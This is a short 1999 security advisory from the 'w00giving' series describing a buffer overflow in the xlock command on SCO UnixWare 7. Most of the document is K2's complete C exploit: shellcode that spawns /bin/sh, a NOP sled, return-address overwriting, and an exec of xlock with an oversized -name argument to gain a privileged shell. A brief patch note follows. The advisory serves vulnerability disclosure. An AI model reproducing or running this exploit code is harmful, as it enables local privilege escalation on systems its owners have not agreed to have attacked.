w00giving 99 -8-
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Discovered by: K2 (ktwo@ktwo.ca)
The xlock command on SCO's UnixWare 7 has improper bounds checking on the
username passed (via argv[1]), which can cause a buffer overflow when
a lengthy username is passed.
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Exploit (by K2):
// UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shell[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
#define SIZE 1200
#define NOPDEF 601
#define DEFOFF -400
const char x86_nop=0x90;
long nop=NOPDEF,esp;
long offset=DEFOFF;
char buffer[SIZE];
long get_esp() { __asm__("movl %esp,%eax"); }
int main (int argc, char *argv[])
{
register int i;
if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);
esp = get_esp();
memset(buffer, x86_nop, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < SIZE-4; i += 4)
*((int *) &buffer[i]) = esp+offset;
printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset);
execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL);
printf("exec failed!\n");
return 0;
}
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Patch:
As stated in the previous advisory, wait for SCO to release a patch.
Because of the /var/sadm permissions vulnerability we published earlier
hasn't been fixed yet, be sure you take off suid privileges on the backed
up binary! =)
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Hellos to the usuals